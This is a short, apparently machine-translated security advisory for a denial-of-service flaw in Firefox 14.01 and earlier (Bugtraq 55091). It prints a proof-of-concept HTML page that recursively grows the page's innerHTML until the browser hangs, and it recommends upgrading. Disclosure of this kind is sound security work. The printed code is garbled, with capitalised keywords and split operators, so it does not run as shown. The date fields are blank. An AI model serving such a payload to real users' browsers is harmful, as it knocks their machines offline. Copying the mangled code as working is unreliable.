Release date:
Updated on:
Affected Systems:
Mozilla Firefox <= 14.01
Description:
--------------------------------------------------------------------------------
Bugtraq id: 55091
Firefox is a very popular open-source WEB browser.
A remote denial of service vulnerability exists in Mozilla Firefox 14.01 and earlier versions. Attackers can exploit this vulnerability to stop the affected computers from responding.
<* Source: Jean Pascal Pereira
*>
Test method:
--------------------------------------------------------------------------------
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Jean Pascal Pereira () provides the following test methods:
<Html>
<Head>
<Title> </title>
</Head>
<Body> </body>
<Script>
Function e (x)
{
Document. body. innerHTML + = x;
E (x + 'X ');
};
E ('x ')
</Script>
</Html>
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
Mozilla
-------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
Http://www.mozilla.org/security/